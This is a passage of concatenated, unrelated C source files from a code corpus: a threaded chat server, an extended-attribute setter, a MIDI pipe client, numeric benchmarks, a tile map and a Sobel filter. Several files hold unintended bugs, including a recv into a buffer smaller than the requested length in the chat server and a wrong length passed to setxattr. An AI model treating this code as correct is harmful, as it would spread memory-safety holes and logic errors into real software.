wait(NULL); wait(NULL); wait(NULL); msgctl(msgid, IPC_RMID, 0); return 0; } } } return 0; }
the_stack_data/100141510.c
/* gcc server.c -o server -lpthread */ #include <stdlib.h> #include <stdio.h> #include <string.h> #include <errno.h> #include <netdb.h> #include <sys/types.h> #include <netinet/in.h> #include <sys/socket.h> #include <sys/wait.h> #include <unistd.h> #include <pthread.h> #define MAXLINE 1000 #define LISTENQ 20 #define PORT 5000 #define MAXFD 20 FILE *fp; int i, maxi = -1; int client[MAXFD]; void *get_client(void *sockfd) { char buf[MAXLINE]; int rev; if ((int)sockfd < 0) printf("\nThe new client cannot enter the ChatRoom\n"); else { printf("\nThe new client enter the ChatRoom...\n"); do { memset(buf, 0, sizeof(buf)); if ((rev = recv((int)sockfd, buf, 1024, 0)) < 0) printf("\nCannot read the user information.\n"); if (rev == 0) printf("\nThe user ends up the connection.\n"); else { printf("%s\n", buf); for(i = 0;i <= maxi; i++) send(client[i],buf,strlen(buf)+1,0); fputs(buf,fp); } } while (rev != 0); fclose(fp); } close((int)sockfd); return(NULL); } int main() { int connfd,listenfd,sockfd; socklen_t length; fp = fopen("student.txt","w"); struct sockaddr_in server; struct sockaddr tcpaddr; pthread_t tid; listenfd = socket(AF_INET,SOCK_STREAM,0); if (listenfd < 0) { printf("Error: Cannot build up the socket.\n"); exit(1); } memset(&server, 0, sizeof(server)); server.sin_family = AF_INET; server.sin_port = htons(PORT); server.sin_addr.s_addr = htonl(INADDR_ANY); if (bind(listenfd, (struct sockaddr*)&server, sizeof(server))<0) { printf("Error: Cannot bind the socket.\n"); exit(1); } length = sizeof(server); if (getsockname(listenfd,(struct sockaddr*)&server,&length)<0) { printf("Error: Cannot get the server listen port.\n"); exit(1); } for(i = 0; i < MAXFD; i++) { client[i] = -1; //initialize the client column } listen(listenfd, LISTENQ); printf("Server listen port: %d\n", ntohs(server.sin_port)); printf("Welcome to this ChatRoom!\n"); for (;;) { connfd = accept(listenfd, &tcpaddr, &length); for (i = 0; i < MAXFD; i++) { if (client[i] < 0) { client[i] = connfd; break; } } if (i == MAXFD-1) { printf("The user number has exceeded the threshold.\n"); exit(0); } if (i > maxi) maxi = i; pthread_create(&tid, NULL, &get_client, (void*)connfd); } return 0; }
the_stack_data/719464.c
/* setfattr.c - sets user extended attributes for a file. * * This program can be viewed as a much simpler version of setfattr(1) utility, * used to set, remove and list a file's extended attributes. All this program * can do, however, is to set user EAs. * * Usage * * $ ./setfattr <name> <value> <file> * * <name> - the name of the EA to be set. Note that the `user.` namespace * is added automatically. * <value> - the value to be set. * <file> - the file to which the program should add the EA. * * Author: Renato Mascarenhas Costa */ #include <unistd.h> #include <sys/types.h> #include <sys/xattr.h> #include <stdio.h> #include <stdlib.h> #include <string.h> static void helpAndLeave(const char *progname, int status); static void pexit(const char *fCall); int main(int argc, char *argv[]) { if (argc != 4) { helpAndLeave(argv[0], EXIT_FAILURE); } char ea_name[BUFSIZ]; char *name, *value, *file; name = argv[1]; value = argv[2]; file = argv[3]; snprintf(ea_name, BUFSIZ, "user.%s", name); if (setxattr(file, ea_name, value, strlen(ea_name), 0) == -1) { pexit("setxattr"); } exit(EXIT_SUCCESS); } static void helpAndLeave(const char *progname, int status) { FILE *stream = stderr; if (status == EXIT_SUCCESS) { stream = stdout; } fprintf(stream, "Usage: %s <name> <value> <file>\n", progname); exit(status); } static void pexit(const char *fCall) { perror(fCall); exit(EXIT_FAILURE); }
the_stack_data/59827.c
void evolve(int Nx, int Ny, double in[][Ny], double out[][Ny], double D, double dt) { int i, j; double laplacian; for (i=1; i<Nx-1; i++) { for (j=1; j<Ny-1; j++) { laplacian = in[i+1][j] + in[i-1][j] + in[i][j+1] + in[i][j-1] - 4 * in[i][j]; out[i][j] = in[i][j] + D * dt * laplacian; } } }
the_stack_data/34511596.c
/*sayem*/ #include<stdio.h> int main() { long long int n,r; while(scanf("%lld",&n)==1) { if(n==0) { break; } if(n>=101) { r=n-10; } if(n<=100) { r=91; } printf("f91(%lld) = %lld\n",n,r); } return 0; }
the_stack_data/95451454.c
int main(int argc, char **argv) { int a; int b; a = a + b; a = a - b; a = a * b; a = a / b; a = a % b; a = a | b; a = a & b; a = a || b; a = a && b; a = a ^ b; a = -a; a = +a; a = ~a; a = !a; a++; a--; return 0; }
the_stack_data/1920.c
// // KSMach_Arm.c // // Created by Karl Stenerud on 2012-01-29. // // Copyright (c) 2012 Karl Stenerud. All rights reserved. // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall remain in place // in this source code. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN // THE SOFTWARE. // #if defined (__arm__) #include "KSMach.h" //#define KSLogger_LocalLevel TRACE #include "KSLogger.h" static const char* g_registerNames[] = { "r0", "r1", "r2", "r3", "r4", "r5", "r6", "r7", "r8", "r9", "r10", "r11", "ip", "sp", "lr", "pc", "cpsr" }; static const int g_registerNamesCount = sizeof(g_registerNames) / sizeof(*g_registerNames); static const char* g_exceptionRegisterNames[] = { "exception", "fsr", "far" }; static const int g_exceptionRegisterNamesCount = sizeof(g_exceptionRegisterNames) / sizeof(*g_exceptionRegisterNames); uintptr_t ksmach_framePointer(const _STRUCT_MCONTEXT* const machineContext) { return machineContext->__ss.__r[7]; } uintptr_t ksmach_stackPointer(const _STRUCT_MCONTEXT* const machineContext) { return machineContext->__ss.__sp; } uintptr_t ksmach_instructionAddress(const _STRUCT_MCONTEXT* const machineContext) { return machineContext->__ss.__pc; } bool ksmach_threadState(const thread_t thread, _STRUCT_MCONTEXT* const machineContext) { return ksmach_fillState(thread, (thread_state_t)&machineContext->__ss, ARM_THREAD_STATE, ARM_THREAD_STATE_COUNT); } bool ksmach_floatState(const thread_t thread, _STRUCT_MCONTEXT* const machineContext) { return ksmach_fillState(thread, (thread_state_t)&machineContext->__fs, ARM_VFP_STATE, ARM_VFP_STATE_COUNT); } bool ksmach_exceptionState(const thread_t thread, _STRUCT_MCONTEXT* const machineContext) { return ksmach_fillState(thread, (thread_state_t)&machineContext->__es, ARM_EXCEPTION_STATE, ARM_EXCEPTION_STATE_COUNT); } int ksmach_numRegisters(void) { return g_registerNamesCount; } const char* ksmach_registerName(const int regNumber) { if(regNumber < ksmach_numRegisters()) { return g_registerNames[regNumber]; } return NULL; } uint64_t ksmach_registerValue(const _STRUCT_MCONTEXT* const machineContext, const int regNumber) { if(regNumber <= 12) { return machineContext->__ss.__r[regNumber]; } switch(regNumber) { case 13: return machineContext->__ss.__sp; case 14: return machineContext->__ss.__lr; case 15: return machineContext->__ss.__pc; case 16: return machineContext->__ss.__cpsr; } KSLOG_ERROR("Invalid register number: %d", regNumber); return 0; } int ksmach_numExceptionRegisters(void) { return g_exceptionRegisterNamesCount; } const char* ksmach_exceptionRegisterName(const int regNumber) { if(regNumber < ksmach_numExceptionRegisters()) { return g_exceptionRegisterNames[regNumber]; } KSLOG_ERROR("Invalid register number: %d", regNumber); return NULL; } uint64_t ksmach_exceptionRegisterValue(const _STRUCT_MCONTEXT* const machineContext, const int regNumber) { switch(regNumber) { case 0: return machineContext->__es.__exception; case 1: return machineContext->__es.__fsr; case 2: return machineContext->__es.__far; } KSLOG_ERROR("Invalid register number: %d", regNumber); return 0; } uintptr_t ksmach_faultAddress(const _STRUCT_MCONTEXT* const machineContext) { return machineContext->__es.__far; } int ksmach_stackGrowDirection(void) { return -1; } #endif
the_stack_data/32950227.c
#include <assert.h> // the following function collides static int f() { int local=1; return local; } int f1() { return f(); } int f2(); int main() { assert(f1()==1); assert(f2()==2); }
the_stack_data/142326693.c
#include <stdio.h> #include <stdlib.h> #include <math.h> int main() { int opcion; float c, b, a; printf ("Bienvenido, este programa te ayudara a hacer operaciones con dos numeros enteros o con decimales. Antes de seleccionar la operacion que deseas hacer, dame el primer numero:"); scanf("%f", &a); printf ("Dame el segundo numero:"); scanf("%f", &b); printf("Elige una opcion:\n"); printf("\t 1.- Suma:\n"); printf("\t 2.- Resta:\n"); printf("\t 3.- Multiplicacion:\n"); printf("\t 4.- Division:\n"); printf("\t 5.- Potencia:\n"); printf("\t 6.- Raiz:\n"); printf("\t 7.- Salir:\n"); scanf("%d",&opcion); switch(opcion) { case 1: c= a +b ; break; case 2: c= a -b; break; case 3: c=a*b; break; case 4: c=a/b; break; case 5: c = pow(b, a); break; case 6: c=sqrt(a); c=sqrt(b); break; case 7: return 0; break; default: printf("No esta puesta correctamente la unidad\n"); exit(0); } printf("\nEl resultado es %f \n", c); }
the_stack_data/398348.c
// // Copyright(C) 2013 James Haley et al. // Copyright(C) 2017 Alex Mayfield // // This program is free software; you can redistribute it and/or // modify it under the terms of the GNU General Public License // as published by the Free Software Foundation; either version 2 // of the License, or (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // DESCRIPTION: // Client Interface to Midi Server // #if _WIN32 #include <stdlib.h> #include <sys/stat.h> #define WIN32_LEAN_AND_MEAN #include <windows.h> #include "i_midipipe.h" #include "config.h" #include "i_sound.h" #include "i_timer.h" #include "m_misc.h" #include "net_packet.h" #include "../midiproc/proto.h" #if defined(_DEBUG) #define DEBUGOUT(s) puts(s) #else #define DEBUGOUT(s) #endif //============================================================================= // // Public Data // // True if the midi proces was initialized at least once and has not been // explicitly shut down. This remains true if the server is momentarily // unreachable. boolean midi_server_initialized = false; // True if the current track is being handled via the MIDI server. boolean midi_server_registered = false; //============================================================================= // // Data // #define MIDIPIPE_MAX_WAIT 1000 // Max amount of ms to wait for expected data. static HANDLE midi_process_in_reader; // Input stream for midi process. static HANDLE midi_process_in_writer; static HANDLE midi_process_out_reader; // Output stream for midi process. static HANDLE midi_process_out_writer; //============================================================================= // // Private functions // // // FreePipes // // Free all pipes in use by this module. // static void FreePipes() { if (midi_process_in_reader != NULL) { CloseHandle(midi_process_in_reader); midi_process_in_reader = NULL; } if (midi_process_in_writer != NULL) { CloseHandle(midi_process_in_writer); midi_process_in_writer = NULL; } if (midi_process_out_reader != NULL) { CloseHandle(midi_process_out_reader); midi_process_in_reader = NULL; } if (midi_process_out_writer != NULL) { CloseHandle(midi_process_out_writer); midi_process_out_writer = NULL; } } // // UsingNativeMidi // // Enumerate all music decoders and return true if NATIVEMIDI is one of them. // // If this is the case, using the MIDI server is probably necessary. If not, // we're likely using Timidity and thus don't need to start the server. // static boolean UsingNativeMidi() { int i; int decoders = Mix_GetNumMusicDecoders(); for (i = 0; i < decoders; i++) { if (strcmp(Mix_GetMusicDecoder(i), "NATIVEMIDI") == 0) { return true; } } return false; } // // WritePipe // // Writes packet data to the subprocess' standard in. // static boolean WritePipe(net_packet_t *packet) { DWORD bytes_written; BOOL ok = WriteFile(midi_process_in_writer, packet->data, packet->len, &bytes_written, NULL); return ok; } // // ExpectPipe // // Expect the contents of a packet off of the subprocess' stdout. If the // response is unexpected, or doesn't arrive within a specific amuont of time, // assume the subprocess is in an unknown state. // static boolean ExpectPipe(net_packet_t *packet) { int start; BOOL ok; CHAR pipe_buffer[8192]; DWORD pipe_buffer_read = 0; if (packet->len > sizeof(pipe_buffer)) { // The size of the packet we're expecting is larger than our buffer // size, so bail out now. return false; } start = I_GetTimeMS(); do { // Wait until we see exactly the amount of data we expect on the pipe. ok = PeekNamedPipe(midi_process_out_reader, NULL, 0, NULL, &pipe_buffer_read, NULL); if (!ok) { break; } else if (pipe_buffer_read < packet->len) { I_Sleep(1); continue; } // Read precisely the number of bytes we're expecting, and no more. ok = ReadFile(midi_process_out_reader, pipe_buffer, packet->len, &pipe_buffer_read, NULL); if (!ok || pipe_buffer_read != packet->len) { break; } // Compare our data buffer to the packet. if (memcmp(packet->data, pipe_buffer, packet->len) != 0) { break; } return true; // Continue looping as long as we don't exceed our maximum wait time. } while (I_GetTimeMS() - start <= MIDIPIPE_MAX_WAIT); // TODO: Deal with the wedged process? return false; } // // RemoveFileSpec // // A reimplementation of PathRemoveFileSpec that doesn't bring in Shlwapi // void RemoveFileSpec(TCHAR *path, size_t size) { TCHAR *fp = NULL; fp = &path[size]; while (path <= fp && *fp != DIR_SEPARATOR) { fp--; } *(fp + 1) = '\0'; } //============================================================================= // // Protocol Commands // // // I_MidiPipe_RegisterSong // // Tells the MIDI subprocess to load a specific filename for playing. This // function blocks until there is an acknowledgement from the server. // boolean I_MidiPipe_RegisterSong(char *filename) { boolean ok; net_packet_t *packet; packet = NET_NewPacket(64); NET_WriteInt16(packet, MIDIPIPE_PACKET_TYPE_REGISTER_SONG); NET_WriteString(packet, filename); ok = WritePipe(packet); NET_FreePacket(packet); midi_server_registered = false; if (!ok) { DEBUGOUT("I_MidiPipe_RegisterSong failed"); return false; } packet = NET_NewPacket(2); NET_WriteInt16(packet, MIDIPIPE_PACKET_TYPE_REGISTER_SONG_ACK); ok = ExpectPipe(packet); NET_FreePacket(packet); if (!ok) { DEBUGOUT("I_MidiPipe_RegisterSong ack failed"); return false; } midi_server_registered = true; DEBUGOUT("I_MidiPipe_RegisterSong succeeded"); return true; } // // I_MidiPipe_SetVolume // // Tells the MIDI subprocess to set a specific volume for the song. // void I_MidiPipe_SetVolume(int vol) { boolean ok; net_packet_t *packet; packet = NET_NewPacket(6); NET_WriteInt16(packet, MIDIPIPE_PACKET_TYPE_SET_VOLUME); NET_WriteInt32(packet, vol); ok = WritePipe(packet); NET_FreePacket(packet); if (!ok) { DEBUGOUT("I_MidiPipe_SetVolume failed"); return; } DEBUGOUT("I_MidiPipe_SetVolume succeeded"); } // // I_MidiPipe_PlaySong // // Tells the MIDI subprocess to play the currently loaded song. // void I_MidiPipe_PlaySong(int loops) { boolean ok; net_packet_t *packet; packet = NET_NewPacket(6); NET_WriteInt16(packet, MIDIPIPE_PACKET_TYPE_PLAY_SONG); NET_WriteInt32(packet, loops); ok = WritePipe(packet); NET_FreePacket(packet); if (!ok) { DEBUGOUT("I_MidiPipe_PlaySong failed"); return; } DEBUGOUT("I_MidiPipe_PlaySong succeeded"); } // // I_MidiPipe_StopSong // // Tells the MIDI subprocess to stop playing the currently loaded song. // void I_MidiPipe_StopSong() { boolean ok; net_packet_t *packet; packet = NET_NewPacket(2); NET_WriteInt16(packet, MIDIPIPE_PACKET_TYPE_STOP_SONG); ok = WritePipe(packet); NET_FreePacket(packet); midi_server_registered = false; if (!ok) { DEBUGOUT("I_MidiPipe_StopSong failed"); return; } DEBUGOUT("I_MidiPipe_StopSong succeeded"); } // // I_MidiPipe_ShutdownServer // // Tells the MIDI subprocess to shutdown. // void I_MidiPipe_ShutdownServer() { boolean ok; net_packet_t *packet; packet = NET_NewPacket(2); NET_WriteInt16(packet, MIDIPIPE_PACKET_TYPE_SHUTDOWN); ok = WritePipe(packet); NET_FreePacket(packet); FreePipes(); midi_server_initialized = false; if (!ok) { DEBUGOUT("I_MidiPipe_ShutdownServer failed"); return; } DEBUGOUT("I_MidiPipe_ShutdownServer succeeded"); } //============================================================================= // // Public Interface // // // I_MidiPipeInitServer // // Start up the MIDI server. // boolean I_MidiPipe_InitServer() { TCHAR dirname[MAX_PATH + 1]; DWORD dirname_len; char *module = NULL; char *cmdline = NULL; char snd_samplerate_buf[8]; SECURITY_ATTRIBUTES sec_attrs; PROCESS_INFORMATION proc_info; STARTUPINFO startup_info; BOOL ok; if (!UsingNativeMidi() || strlen(snd_musiccmd) > 0) { // If we're not using native MIDI, or if we're playing music through // an exteranl program, we don't need to start the server. return false; } // Get directory name memset(dirname, 0, sizeof(dirname)); dirname_len = GetModuleFileName(NULL, dirname, MAX_PATH); if (dirname_len == 0) { return false; } RemoveFileSpec(dirname, dirname_len); // Define the module. module = PROGRAM_PREFIX "midiproc.exe"; // Define the command line. Version and Sample Rate follow the // executable name. M_snprintf(snd_samplerate_buf, sizeof(snd_samplerate_buf), "%d", snd_samplerate); cmdline = M_StringJoin(module, " \"" PACKAGE_STRING "\"", " ", snd_samplerate_buf, NULL); // Set up pipes memset(&sec_attrs, 0, sizeof(SECURITY_ATTRIBUTES)); sec_attrs.nLength = sizeof(SECURITY_ATTRIBUTES); sec_attrs.bInheritHandle = TRUE; sec_attrs.lpSecurityDescriptor = NULL; if (!CreatePipe(&midi_process_in_reader, &midi_process_in_writer, &sec_attrs, 0)) { DEBUGOUT("Could not initialize midiproc stdin"); return false; } if (!SetHandleInformation(midi_process_in_writer, HANDLE_FLAG_INHERIT, 0)) { DEBUGOUT("Could not disinherit midiproc stdin"); return false; } if (!CreatePipe(&midi_process_out_reader, &midi_process_out_writer, &sec_attrs, 0)) { DEBUGOUT("Could not initialize midiproc stdout/stderr"); return false; } if (!SetHandleInformation(midi_process_out_reader, HANDLE_FLAG_INHERIT, 0)) { DEBUGOUT("Could not disinherit midiproc stdin"); return false; } // Launch the subprocess memset(&proc_info, 0, sizeof(proc_info)); memset(&startup_info, 0, sizeof(startup_info)); startup_info.cb = sizeof(startup_info); startup_info.hStdInput = midi_process_in_reader; startup_info.hStdOutput = midi_process_out_writer; startup_info.dwFlags = STARTF_USESTDHANDLES; ok = CreateProcess(TEXT(module), TEXT(cmdline), NULL, NULL, TRUE, 0, NULL, dirname, &startup_info, &proc_info); if (!ok) { FreePipes(); free(cmdline); return false; } // Since the server has these handles, we don't need them anymore. CloseHandle(midi_process_in_reader); midi_process_in_reader = NULL; CloseHandle(midi_process_out_writer); midi_process_out_writer = NULL; midi_server_initialized = true; return true; } #endif
the_stack_data/16523.c
#include <stdio.h> int main(void) { int height, length, width, volume, weight; printf("Enter height of box: "); scanf("%d", &height); printf("Enter length of box: "); scanf("%d", &length); printf("Enter width of box: "); scanf("%d", &width); volume = height * length * width; weight = (volume + 165) / 166; // 向上取整方案 => 加上一个仅小于被除数的整数 // printf("Dimensions: %dx%dx%d\n", length, width, height); printf("Volume (cubic inches): %d\n", volume); printf("Dimensional weight (pounds): %d\n", weight); return 0; } // Enter height of box: 8 // Enter length of box: 12 // Enter width of box: 10
the_stack_data/97014128.c
/* The Computer Language Benchmarks Game * http://benchmarksgame.alioth.debian.org/ * * Contributed by Sebastien Loisel */ #ifdef STATIC #undef STATIC #define STATIC static #else #define STATIC #endif #ifdef PRINTF #define PRINTF2(a,b) printf(a,b) #else #define PRINTF2(a,b) b #endif #ifdef TIMER #define TIMER_START() __asm__("TIMER_START:") #define TIMER_STOP() __asm__("TIMER_STOP:") #else #define TIMER_START() #define TIMER_STOP() #endif #ifdef __Z88DK #include <intrinsic.h> #ifdef PRINTF // enable printf %f #pragma output CLIB_OPT_PRINTF = 0x04000000 #endif #endif #include <stdio.h> #include <stdlib.h> #include <math.h> #define sqrt sqrtf #define NUM 100 double eval_A(int i, int j) { return 1.0/((i+j)*(i+j+1)/2+i+1); } void eval_A_times_u(const double u[], double Au[]) { STATIC int i,j; for(i=0;i<NUM;i++) { Au[i]=0; for(j=0;j<NUM;j++) Au[i]+=eval_A(i,j)*u[j]; } } void eval_At_times_u(const double u[], double Au[]) { STATIC int i,j; for(i=0;i<NUM;i++) { Au[i]=0; for(j=0;j<NUM;j++) Au[i]+=eval_A(j,i)*u[j]; } } void eval_AtA_times_u(const double u[], double AtAu[]) { static double v[NUM]; eval_A_times_u(u,v); eval_At_times_u(v,AtAu); } int main(void) { STATIC int i; STATIC double u[NUM],v[NUM],vBv,vv; TIMER_START(); for(i=0;i<NUM;i++) u[i]=1; for(i=0;i<10;i++) { eval_AtA_times_u(u,v); eval_AtA_times_u(v,u); } vBv=vv=0; for(i=0;i<NUM;i++) { vBv+=u[i]*v[i]; vv+=v[i]*v[i]; } PRINTF2("%0.9f\n",sqrt(vBv/vv)); TIMER_STOP(); return 0; }
the_stack_data/31265.c
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #define rdtscl(val) 0 // asm volatile ("rdtsc" : "=A" (val) : : ); void old_str_repblock(char *output, const char *input, char find, char rep); void new_str_repblock(char *output, const char *input, char find, char rep); void asm_str_repblock(char *output, const char *input, char find, char rep); void old_str_repblock(char *output, const char *input, char find, char rep) { int pos = 0; if (!input) return; char *n = (char *)input; while (*n) { while (*n != find && *n) output[pos++] = *n++; output[pos++] = rep; while (*n == find) n++; } output[pos-1] = 0; } void new_str_repblock(char *output, const char *input, char find, char rep) { if (!input) return; while (*input) { if (*input == find) { *output++ = rep; while (*input == find) input++; } *output++ = *input++; } *(output) = 0; } void test_repblock(char *cmp, char find, char rep) { char *o1 = malloc(128); char *o2 = malloc(128); char *o3 = malloc(128); strcpy(o1, "qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq"); strcpy(o2, "qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq"); strcpy(o3, "qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq"); uint64_t t1, t2; rdtscl(t1); old_str_repblock(o1, cmp, find, rep); rdtscl(t2); printf("old - (%5llu cycles) %s\n", (long long unsigned int)t2 - t1, o1); rdtscl(t1); new_str_repblock(o2, cmp, find, rep); rdtscl(t2); printf("new - (%5llu cycles) %s\n", (long long unsigned int)t2 - t1, o2); rdtscl(t1); asm_str_repblock(o3, cmp, find, rep); rdtscl(t2); printf("asm - (%5llu cycles) %s\n", (long long unsigned int)t2 - t1, o3); free(o1); free(o2); free(o3); } int main (void) { printf("\nWorking:\n"); test_repblock("asdf asdf asdf asdf asdf", ' ', 'y'); printf("\nFind not in Source\n"); test_repblock("asdf asdf", 'y', ' '); printf("\nSource = End\n"); test_repblock("asdf asdf", ' ', ' '); printf("\nEmpty Source\n"); test_repblock(NULL, ' ', ' '); printf("\nReplace\n"); test_repblock("asdf asdf", ' ', 'y'); printf("\nTrailing 4\n"); test_repblock("asdf asdf ", ' ', 'y'); }
the_stack_data/247018352.c
double ratval(double x, double cof[], int mm, int kk) { int j; double sumd,sumn; for (sumn=cof[mm],j=mm-1;j>=0;j--) sumn=sumn*x+cof[j]; for (sumd=0.0,j=mm+kk;j>=mm+1;j--) sumd=(sumd+cof[j])*x; return sumn/(1.0+sumd); }
the_stack_data/3473.c
/* ../SRC/WINDOW_MAP_LEGS_3.C Map Source File. Info: Section : Bank : 0 Map size : 20 x 3 Tile set : nyancassette-window-all.gbm.tiles.gbr Plane count : 1 plane (8 bits) Plane order : Tiles are continues Tile offset : 0 Split data : No This file was generated by GBMB v1.8 */ #define window_map_legs_3Width 20 #define window_map_legs_3Height 3 #define window_map_legs_3Bank 0 const unsigned char window_map_legs_3[] = { 0x00,0x00,0x31,0x26,0x0C,0x06,0x27,0x0C,0x0C,0x28, 0x1B,0x1B,0x1B,0x1B,0x29,0x00,0x00,0x00,0x00,0x00, 0x00,0x31,0x32,0x29,0x13,0x12,0x2D,0x2C,0x2C,0x0D, 0x0F,0x13,0x12,0x0E,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x21,0x2C,0x00,0x21,0x2C,0x00,0x00,0x00,0x21, 0x2C,0x00,0x2C,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }; /* End of ../SRC/WINDOW_MAP_LEGS_3.C */
the_stack_data/29824126.c
/* Example code for Exercises in C. Modified version of an example from Chapter 2.5 of Head First C. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <regex.h> #define NUM_TRACKS 5 char tracks[][80] = { "So What", "Freddie Freeloader", "Blue in Green", "All Blues", "Flamenco Sketches" }; // Finds all tracks that contain the given string. // // Prints track number and title. void find_track(char search_for[]) { int i; for (i=0; i<NUM_TRACKS; i++) { if (strstr(tracks[i], search_for)) { printf("Track %i: '%s'\n", i, tracks[i]); } } } // Finds all tracks that match the given pattern. // Prints track number and title for every match void find_track_regex(char pattern[]) { regex_t rex; int return_value; // compiles with the given pattern to check in the future return_value = regcomp(&rex, pattern, 0); // compilation error from input pattern if (return_value) { printf("A compilation error occured :(\n"); exit(1); } // loops through the songs and checks for matches while printing as matches are found for (int i = 0; i < NUM_TRACKS; i++){ return_value = regexec(&rex, tracks[i], 0, NULL, 0); // If a match is found: if (return_value == 0) { printf("Track %i: '%s'\n", i, tracks[i]); } } // free the memory allocated for the pattern finding regfree(&rex); } // Truncates the string at the first newline, if there is one. void rstrip(char s[]) { char *ptr = strchr(s, '\n'); if (ptr) { *ptr = '\0'; } } int main (int argc, char *argv[]) { char search_for[80]; /* take input from the user and search */ printf("Search for: "); fgets(search_for, 80, stdin); rstrip(search_for); // find_track(search_for); find_track_regex(search_for); return 0; }
the_stack_data/14870.c
/* labs( long int ) This file is part of the Public Domain C Library (PDCLib). Permission is granted to use, modify, and / or redistribute at will. */ #include <stdlib.h> long int labs(long int j) { return (j >= 0) ? j : -j; }
the_stack_data/514661.c
// This will apply the sobel filter and return the PSNR between the golden sobel and the produced sobel // sobelized image #include <stdio.h> #include <math.h> #include <string.h> #include <stdlib.h> #include <time.h> #include <errno.h> #define SIZE 4096 #define POWSIZE SIZE*SIZE #define INPUT_FILE "input.grey" #define OUTPUT_FILE "output_sobel.grey" #define GOLDEN_FILE "golden.grey" /* The horizontal and vertical operators to be used in the sobel filter */ // char horiz_operator[3][3] = {{-1, 0, 1}, // {-2, 0, 2}, // {-1, 0, 1}}; // char vert_operator[3][3] = {{1, 2, 1}, // {0, 0, 0}, // {-1, -2, -1}}; double sobel(unsigned char *input, unsigned char *output, unsigned char *golden); //int convolution2D(int posy, int posx, const unsigned char *input, char operator[][3]); /* The arrays holding the input image, the output image and the output used * * as golden standard. The luminosity (intensity) of each pixel in the * * grayscale image is represented by a value between 0 and 255 (an unsigned * * character). The arrays (and the files) contain these values in row-major * * order (element after element within each row and row after row. */ unsigned char input[SIZE*SIZE], output[SIZE*SIZE], golden[SIZE*SIZE]; /* Implement a 2D convolution of the matrix with the operator */ /* posy and posx correspond to the vertical and horizontal disposition of the * * pixel we process in the original image, input is the input image and * * operator the operator we apply (horizontal or vertical). The function ret. * * value is the convolution of the operator with the neighboring pixels of the* * pixel we process. */ // int convolution2D(int posy, int posx, const unsigned char *input, char operator[][3]) { // int i, j, res; // res = 0; // res += input[(posy - 1)*SIZE + posx - 1] * operator[0][0]; // res += input[(posy - 1)*SIZE + posx] * operator[0][1]; // res += input[(posy - 1)*SIZE + posx + 1] * operator[0][2]; // res += input[(posy)*SIZE + posx - 1] * operator[1][0]; // res += input[(posy)*SIZE + posx] * operator[1][1]; // res += input[(posy)*SIZE + posx + 1] * operator[1][2]; // res += input[(posy + 1)*SIZE + posx - 1] * operator[2][0]; // res += input[(posy + 1)*SIZE + posx] * operator[2][1]; // res += input[(posy + 1)*SIZE + posx + 1] * operator[2][2]; // return(res); // } /* The main computational function of the program. The input, output and * * golden arguments are pointers to the arrays used to store the input * * image, the output produced by the algorithm and the output used as * * golden standard for the comparisons. */ double sobel(unsigned char *input, unsigned char *output, unsigned char *golden) { register double PSNR = 0, t; register unsigned int i, j; register unsigned int p; register int temp1, temp2, sum1, sum2, temp3; register unsigned int res; struct timespec tv1, tv2; FILE *f_in, *f_out, *f_golden; const unsigned int temp4 = SIZE+1, temp5 = SIZE-1; const unsigned int loops = temp5*SIZE; unsigned char roots[65025]; for (i = 0; i < 65025; i++){ roots[i] = (unsigned char)(int)sqrt(i); } /* The first and last row of the output array, as well as the first * * and last element of each column are not going to be filled by the * * algorithm, therefore make sure to initialize them with 0s. */ memset(output, 0, SIZE*sizeof(unsigned char)); memset(&output[SIZE*(SIZE-1)], 0, SIZE*sizeof(unsigned char)); for (i = 1; i < SIZE-1; i+=1) { output[i*SIZE] = 0; output[i*SIZE + SIZE - 1] = 0; } /* Open the input, output, golden files, read the input and golden * * and store them to the corresponding arrays. */ f_in = fopen(INPUT_FILE, "r"); if (f_in == NULL) { printf("File " INPUT_FILE " not found\n"); exit(1); } f_out = fopen(OUTPUT_FILE, "wb"); if (f_out == NULL) { printf("File " OUTPUT_FILE " could not be created\n"); fclose(f_in); exit(1); } f_golden = fopen(GOLDEN_FILE, "r"); if (f_golden == NULL) { printf("File " GOLDEN_FILE " not found\n"); fclose(f_in); fclose(f_out); exit(1); } fread(input, sizeof(unsigned char), SIZE*SIZE, f_in); fread(golden, sizeof(unsigned char), SIZE*SIZE, f_golden); fclose(f_in); fclose(f_golden); /* This is the main computation. Get the starting time. */ clock_gettime(CLOCK_MONOTONIC_RAW, &tv1); /* For each pixel of the output image */ for (i=SIZE; i<loops; i+=SIZE) { //temp3 = i*SIZE; for (j=1; j<temp5; j+=1 ) { /* Apply the sobel filter and calculate the magnitude * * of the derivative. */ sum1 = input[i + j - temp4] - input[i + j + temp4]; sum2 = input[i + j - temp5] - input[i + j + temp5]; temp1 = sum2 - sum1 - (input[i + j - 1] << 1) + (input[i + j + 1] << 1); temp2 = sum1 + sum2 + (input[i + j - SIZE] << 1) - (input[i + j + SIZE] << 1); p = temp1*temp1 + temp2*temp2; //res = (int)sqrt(p); /* If the resulting value is greater than 255, clip it * * to 255. */ if (p > 65025){ output[i + j] = 255; } else{ output[i + j] = roots[p]; } //PSNR += 